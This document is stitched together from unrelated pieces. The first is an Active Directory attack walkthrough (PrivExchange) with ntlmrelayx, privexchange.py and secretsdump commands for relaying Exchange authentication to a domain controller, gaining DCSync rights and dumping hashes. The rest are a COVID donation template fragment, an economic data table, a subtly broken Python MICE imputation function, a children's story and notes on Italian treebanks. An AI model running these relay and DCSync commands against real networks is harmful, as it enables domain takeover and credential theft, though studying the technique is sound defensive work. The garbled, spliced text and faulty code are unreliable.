[SharpExchangePriv](https://github.com/panagioto/SharpExchangePriv) | C# implementation of PowerPriv/PrivExchange
Original:
[PrivExchange](https://github.com/dirkjanm/PrivExchange) | Exchange your privs for Domain Admin, abuse Exchange
If Exchange is running with high privileges, using a relay attack can allow an attacker to grant themselves DCSync rights. The push notification service has an option to send a message every X minutes (configurable) even if no event happened. This ensures Exchange will connect with PushSubscription even if there is no activity in an inbox.
Performing the Attack With User Credentials
1. PushSubscription EWS Call
2. HTTP connection - NTLM auth
3. NTLM auth forward (relay) to DC
4. Modify privileges using Exchange server account
5. Perform DCSync attack
Need privexchange.py and ntlmrelayx. Start ntlmrelayx in relay mode with LDAP on a DC as the target. Supply a user under the attackers control to escalate privileges with (in these examples, the 'nty' user):
ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user nty
Now run the privexchange.py script
python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u nty -d testsegment.local
After a minute (which is the value supplied for the push notification) we see the connection coming in at ntlmrelayx, which gives our user DCSync privileges.
This can be confirmed with secretsdump:
secretsdump.py<EMAIL_ADDRESS>-just-dc
Performing the Attack With NO Credentials
If an attacker is only in a position to perform a network attack, but doesn't have any credentials, it is still possible to trigger Exchange to authenticate.
If we perform a SMB to HTTP (or HTTP to HTTP) relay attack (using LLMNR/NBNS/mitm6 spoofing) we can relay the authentication of a user in the same network segment to Exchange EwS and use their credentials to trigger the callback. Using httpattack.py and ntlmrelayx, an attacker can perform the attack from a network perspective without any credentials (need to modify your attacker host since it is hardcoded in the file).


{{ define "content" }} Donate any extra masks, gloves, hand sanitizer, or other supplies you have on hand to hospitals to fight covid19 I have supplies to donate I am hospital staff


| CN Ind Prodn - YoY (%) | ||||||
| Release Dt | For Month | Market Expectation | Kshitij Expectation | Previous | Released | Revision |
| 14-Nov-17 | Oct-17 | 6.30 | - | 6.60 | 6.20 | - |
| 14-Dec-17 | Nov-17 | 6.20 | - | 6.20 | 6.10 | - |
| 18-Jan-18 | Dec-17 | 6.10 | - | 6.10 | 6.20 | - |
| 14-Mar-18 | Jan-18 | - | - | 6.20 | - | - |
| Copyright: Kshitij Consultancy Services |


"""imputations.cs.mice"""
import numpy as np
from sklearn.linear_model import LinearRegression
from impyute.utils import find_null
from impyute.utils import checks
# pylint: disable=too-many-locals
[docs]def mice(data):
"""Multivariate Imputation by Chained Equations
Reference:
Buuren, S. V., & Groothuis-Oudshoorn, K. (2011). Mice: Multivariate
Imputation by Chained Equations in R. Journal of Statistical Software,
45(3). doi:10.18637/jss.v045.i03
Implementation follows the main idea from the paper above. Differs in
decision of which variable to regress on (here, I choose it at random).
Also differs in stopping criterion (here the model stops after change in
prediction from previous prediction is less than 10%).
PARAMETERS
----------
data: numpy.ndarray
Data to impute.
RETURNS
-------
numpy.ndarray
Imputed data.
"""
if not checks(data):
raise Exception("Checks failed")
null_xy = find_null(data)
# Add a column of zeros to the index values
null_xyv = np.append(null_xy, np.zeros((np.shape(null_xy)[0], 1)), axis=1)
null_xyv = [[int(x), int(y), v] for x, y, v in null_xyv]
temp = []
cols_missing = set([y for _, y, _ in null_xyv])
# Step 1: Simple Imputation, these are just placeholders
for x_i, y_i, value in null_xyv:
# Column containing nan value without the nan value
col = data[:, [y_i]][~np.isnan(data[:, [y_i]])]
new_value = np.mean(col)
data[x_i][y_i] = new_value
temp.append([x_i, y_i, new_value])
null_xyv = temp
# Step 5: Repeat step 2 - 4 until convergence (the 100 is arbitrary)
converged = [False] * len(null_xyv)
while all(converged):
# Step 2: Placeholders are set back to missing for one variable/column
dependent_col = int(np.random.choice(list(cols_missing)))
missing_xs = [int(x) for x, y, value in null_xyv if y == dependent_col]
# Step 3: Perform linear regression using the other variables
x_train, y_train = [], []
for x_i in (x_i for x_i in range(len(data)) if x_i not in missing_xs):
x_train.append(np.delete(data[x_i], dependent_col))
y_train.append(data[x_i][dependent_col])
model = LinearRegression()
model.fit(x_train, y_train)
# Step 4: Missing values for the missing variable/column are replaced
# with predictions from our new linear regression model
temp = []
# For null indices with the dependent column that was randomly chosen
for i, x_i, y_i, value in enumerate(null_xyv):
if y_i == dependent_col:
# Row 'x' without the nan value
new_value = model.predict(np.delete(data[x_i], dependent_col))
data[x_i][y_i] = new_value.reshape(1, -1)
temp.append([x_i, y_i, new_value])
delta = (new_value-value)/value
if delta < 0.1:
converged[i] = True
null_xyv = temp
return data


I thought it was just another weekend. I could not wait to relax and play video games ALL weekend. My parents don’t like when I play video games a lot, but I think they are so much fun! It was time to get my weekend started.
I set up the TV and started playing. I don't really like nature and all of that, so I planned on staying inside, but as I started playing, something caught my eye outside the window. I quickly took my headphones off as I ran for the window to see exactly what was out there.
I got to the window as fast as I could and realized that there was an amazing deer standing right outside my house! I know that I don’t really like nature but there was something about this deer that was special.
“Hi Michael, come with me so I can show something amazing!” the deer exclaimed. I had no idea that animals could talk! I was startled at first, but I couldn’t give up the chance of talking to a deer.
“Um, uh, yeah, I’ll be right there!” I was so confused but I quickly put on my shoes to go outside.
I followed the deer to the woods. I was unwilling to go in at first because I wasn’t used to being in nature, but I eventually went in. “I know that you don’t like nature too much, but I will change the way you view my home.” Said the deer.
I felt myself shrink as I landed on beautiful purple flowers. “Wooooow!” I said as I looked around at the amazing details of the flowers. Their colors were unlike anything I had ever seen!
I continued to follow this magical deer as we walked into an amazing green land filled with plants and beans. I could not believe that nature could have so many details. I ran and jumped across the leaves as I begin to realize nature’s greatness.
I then jumped onto an incredible pink fruit. It was filled with seeds and juice. How could these tiny things be so detailed and beautiful? We soon came to the end of our journey that I never wanted to end.
I could not wait to learn more about nature, but as I turned around to say goodbye to the deer, it was gone, and I woke up from my dream. I know it was just a dream but something about it felt so real. I decided to take a break from video games and play outside and get closer to nature. It was the best decision of my life.


Introduction
The Italian section of Universal Dependencies currently comprises four resources:
- UD_Italian-ISDT (available since UD v.1)
- UD_Italian-ParTUT (available since UD v.2)
- UD_Italian-PUD (available since UD v.2)
- UD_Italian-PoSTWITA (available since UD v.2.1)
- UD_Italian-VIT (available since UD v.2.4)
UD_Italian-ISDT
It was obtained by conversion from ISDT (Italian Stanford Dependency Treebank), released for the dependency parsing shared task of Evalita-2014 (Bosco et al. 2014).
ISDT is a resource annotated according to the Stanford dependencies scheme (de Marneffe et al. 2008, 2013a, 2013b, 2014), obtained through a semi-automatic conversion process starting from MIDT (the Merged Italian Dependency Treebank). MIDT in turn was obtained merging two existing Italian treebanks, differing both in corpus composition and adopted annotation schemes:
- TUT, the Turin University Treebank (Bosco et al. 2000)
- ISST-TANL, first released as ISST-CoNLL for the CoNLL-2007 shared task (Montemagni, Simi 2007).
The details of the harmonization and conversion process leading to MIDT were discussed in (Bosco, Montemagni, Simi, 2012). The Stanford annotation scheme, obtained from an enriched version of MIDT, was adapted to the specificity of the Italian language. We refer to (Bosco, Montemagni, Simi, 2013 and 2014) for a discussion.
The first preliminary release was issued in January 2015.
UD_Italian-ParTUT
UD_Italian-ParTUT data is derived from the already-existing parallel treebank Par(allel)TUT.
ParTUT is a morpho-syntactically annotated collection of Italian/French/English parallel sentences, which includes texts from different sources and representing different genres and domains, released in several formats.
ParTUT comprises approximately 167,000 tokens, with an average amount of 2,100 sentences per language.
ParTUT data can be downloaded here and here (CoNLL format only).
UD_Italian-PoSTWITA
PoSTWITA-UD was created by enriching the dataset used for the EVALITA 2016 task of Part-of-Speech tagging of Social Media (Bosco et al. 2016). The original corpus consists of 6,438 tweets of the development set (114,967 tokens) and 300 tweets of the test set (4,759 tokens), annotated at PoS level only. The conversion and syntactic annotation process was carried out through alternating steps of automatic scripting and manual revision, and finally with some out-of-domain parsing experiments. Parsing results also underwent a manual revision by two independent annotators.
The section of PoSTWITA that has been revised so far (approximately the first half of the corpus) consists of 3,510 tweets (61,887 tokens).
UD_Italian-PUD
UD_Italian-VIT
The UD_Italian-VIT corpus, annotated according to the UD annotation scheme, was obtained by conversion from VIT (Venice Italian Treebank), developed at the Laboratory of Computational Linguistics of the Università Ca’ Foscari in Venice (Del Monte, Bristot, Tonelli, 2008).
References
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Cristina Bosco, Vincenzo Lombardo, Leonardo Lesmo, Daniela Vassallo. 2000. Building a treebank for italian: a data-driven annotation schema. In Proceedings of LREC 2000, Athens, Greece.
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Cristina Bosco, Simonetta Montemagni, Maria Simi. 2012. Harmonization and Merging of two Italian Dependency Treebanks, Workshop on Merging of Language Resources, in Proceedings of LREC 2012, Workshop on Language Resource Merging, Instanbul, May 2012, ELRA, pp. 23-30.
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Cristina Bosco, Simonetta Montemagni, Maria Simi. 2013. Converting Italian Treebanks: Towards an Italian Stanford Dependency Treebank. In Proceedings of the 7th Linguistic Annotation Workshop & Interoperability with Discourse (LAW VII & ID at ACL-2013), Sofia, Bulgaria, August 8-9, pp. 61-69.
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Cristina Bosco, Felice Dell’Orletta, Simonetta Montemagni, Manuela Sanguinetti, Maria Simi. 2014. The Evalita 2014 Dependency Parsing task, CLiC-it 2014 and EVALITA 2014 Proceedings, Pisa University Press, ISBN/EAN: 978-886741-472-7, pp. 1-8.
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Cristina Bosco, Fabio Tamburini, Andrea Bolioli, Alessandro Mazzei. 2016. Overview of the EVALITA 2016 Part Of Speech on TWitter for ITAlian task. In: Proceedings of Evalita 2016
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Delmonte R. Bristot A., Tonelli S., VIT - Venice Italian Treebank: Syntactic and Quantitative Features, in K. De Smedt, Jan Hajic, Sandra Kübler(Eds.), Proc. Sixth International Workshop on Treebanks and Linguistic Theories, Nealt Proc. Series Vol.1. 2008.
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Marie-Catherine de Marneffe and Christopher D. Manning. 2008. The Stanford typed dependencies representation. In COLING Workshop on Cross-framework and Cross-domain Parser Evaluation.
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Marie-Catherine de Marneffe, Miriam Connor, Natalia Silveira, Bowman S. R., Timothy Dozat, Christopher D. Manning. 2013. More constructions, more genres: Extending Stanford Dependencies, Proc. of the Second International Conference on Dependency Linguistics (DepLing 2013), Prague, August 27–30, Charles University in Prague, Matfyzpress, Prague, pp. 187–196.
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Marie-Catherine de Marneffe and Christopher D. Manning. 2013. Stanford typed dependencies manual, September 2008, Revised for the Stanford Parser v. 3.3 in December 2013.
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Marie-Catherine de Marneffe, Timothy Dozat, Natalia Silveira, Katri Haverinen, Filip Ginter, Joakim Nivre, Christopher Manning. 2014. Universal Stanford Dependencies: A cross-linguistic typology. In Proceedings of LREC 2014.
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Simonetta Montemagni, Maria Simi. 2007. The Italian dependency annotated corpus developed for the CoNLL–2007 shared task. Technical report, ILC–CNR.
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Manuela Sanguinetti, Cristina Bosco. 2014. PartTUT: The Turin University Parallel Treebank. In Basili, Bosco, Delmonte, Moschitti, Simi (editors) Harmonization and development of resources and tools for Italian Natural Language Processing within the PARLI project, LNCS, Springer Verlag
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Manuela Sanguinetti, Cristina Bosco, Alessandro Mazzei, ALberto Lavelli, Fabio Tamburini. 2017. Annotating Italian Social Media Texts in Universal Dependencies. In: Proceedings of the Fourth International Conference on Dependency Linguistics (Depling 2017), Pisa (Italy), pp. 229–239
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Maria Simi, Cristina Bosco, Simonetta Montemagni. 2014. Less is More? Towards a Reduced Inventory of Categories for Training a Parser for the Italian Stanford Dependencies. 2014. In Proceedings of LREC 2014, ELRA, pp. 83–90.